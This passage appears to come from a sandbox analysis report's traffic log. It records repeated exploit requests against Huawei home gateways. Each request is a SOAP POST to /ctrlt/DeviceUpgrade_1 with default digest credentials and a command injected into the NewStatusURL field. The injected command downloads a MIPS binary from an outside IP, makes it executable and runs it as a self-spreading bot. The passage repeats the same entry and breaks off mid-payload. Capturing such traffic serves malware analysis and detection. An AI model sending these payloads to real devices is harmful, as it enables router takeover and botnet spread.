xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; 